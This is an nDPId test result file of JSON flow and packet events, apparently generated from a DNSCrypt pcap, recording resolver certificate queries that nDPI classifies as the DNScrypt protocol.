+01099{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":349002,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcCgJAAL0Rd6wKAAABlTjkLYMdAbsCCDw8f0UBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":946735705349,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":33565,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":946735705349,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35228,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02382{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":349019,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcCgMgAL0Rk+sKAAABlTjkLYmcAbsGBJVVf0IBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":946735705349,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35228,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":349026,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQCgMAub0RuL4KAAABlTjkLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00194{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":946735705349,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":60301,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01099{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":349060,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcCgRAAL0Rd6oKAAABlTjkLeuNAbsCCDw8f0MBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":946735705349,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":60301,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00667{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":453738,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUC5oAADQRQF2VOOQtCgAAAQG7lfQAwC\/rf0eBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAAAFGFEAAwsZ+sBWpvUVROInn0h1y0+FE\/VHdPKdwGWI15rFeV84ZdSkid7VtVlPn9SchFzfn3Pj66PFpyoNS6YMir6PRfcrBtc8JsfsQb\/FwAoHgENy0Ke+Bxb4NU7gNSOLvo9F9ysG119TYaFfU2GhX1SzIQ=="} +00666{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":457124,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUC5sAADQRQFyVOOQtCgAAAQG7640AwNpVf0OBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAAAFGFEAAwsZ+sBWpvUVROInn0h1y0+FE\/VHdPKdwGWI15rFeV84ZdSkid7VtVlPn9SchFzfn3Pj66PFpyoNS6YMir6PRfcrBtc8JsfsQb\/FwAoHgENy0Ke+Bxb4NU7gNSOLvo9F9ysG119TYaFfU2GhX1SzIQ=="} +00666{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":457244,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUC5wAADQRQFuVOOQtCgAAAQG7spoAwBNIf0SBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAAAFGFEAAwsZ+sBWpvUVROInn0h1y0+FE\/VHdPKdwGWI15rFeV84ZdSkid7VtVlPn9SchFzfn3Pj66PFpyoNS6YMir6PRfcrBtc8JsfsQb\/FwAoHgENy0Ke+Bxb4NU7gNSOLvo9F9ysG119TYaFfU2GhX1SzIQ=="} +00666{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":459813,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUC58AADQRQFiVOOQtCgAAAQG7iZwAwDxIf0KBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAAAFGFEAAwsZ+sBWpvUVROInn0h1y0+FE\/VHdPKdwGWI15rFeV84ZdSkid7VtVlPn9SchFzfn3Pj66PFpyoNS6YMir6PRfcrBtc8JsfsQb\/FwAoHgENy0Ke+Bxb4NU7gNSOLvo9F9ysG119TYaFfU2GhX1SzIQ=="} +00666{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":460564,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUC50AADQRQFqVOOQtCgAAAQG7iqcAwDs5f0aBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAAAFGFEAAwsZ+sBWpvUVROInn0h1y0+FE\/VHdPKdwGWI15rFeV84ZdSkid7VtVlPn9SchFzfn3Pj66PFpyoNS6YMir6PRfcrBtc8JsfsQb\/FwAoHgENy0Ke+Bxb4NU7gNSOLvo9F9ysG119TYaFfU2GhX1SzIQ=="} +00666{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946735705,"pkt_ts_usec":461257,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUC54AADQRQFmVOOQtCgAAAQG7gx0AwELEf0WBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAAAFGFEAAwsZ+sBWpvUVROInn0h1y0+FE\/VHdPKdwGWI15rFeV84ZdSkid7VtVlPn9SchFzfn3Pj66PFpyoNS6YMir6PRfcrBtc8JsfsQb\/FwAoHgENy0Ke+Bxb4NU7gNSOLvo9F9ysG119TYaFfU2GhX1SzIQ=="} +00507{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":16,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":946735705348,"flow_last_seen":946735705453,"flow_tot_l4_data_len":712,"flow_min_l4_data_len":192,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":356,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":38388,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00509{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":16,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":2,"flow_first_seen":946735705349,"flow_last_seen":946735705459,"flow_tot_l4_data_len":1672,"flow_min_l4_data_len":192,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":836,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35228,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00509{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":16,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":946735705348,"flow_last_seen":946735705457,"flow_tot_l4_data_len":1672,"flow_min_l4_data_len":192,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":836,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":45722,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00509{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":16,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":2,"flow_first_seen":946735705348,"flow_last_seen":946735705460,"flow_tot_l4_data_len":1672,"flow_min_l4_data_len":192,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":836,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35495,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00507{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":16,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":2,"flow_first_seen":946735705349,"flow_last_seen":946735705461,"flow_tot_l4_data_len":712,"flow_min_l4_data_len":192,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":356,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":33565,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00507{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":16,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":2,"flow_first_seen":946735705349,"flow_last_seen":946735705457,"flow_tot_l4_data_len":712,"flow_min_l4_data_len":192,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":356,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":60301,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":51004,"dst_port":1053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01100{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":327173,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcFypAAL0R8NAKAAABPtK0R8c8BB0CCLXvBycBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczIIaXJpc2VkZW4CZnIAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":16,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":51004,"dst_port":1053,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00496{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":52636,"dst_port":1053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01100{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":327201,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcFytAAL0R8M8KAAABPtK0R82cBB0CCLXvByMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczIIaXJpc2VkZW4CZnIAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":17,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":52636,"dst_port":1053,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00496{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":49518,"dst_port":1053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01100{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":327262,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcFyxAAL0R8M4KAAABPtK0R8FuBB0CCLXvByUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczIIaXJpc2VkZW4CZnIAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 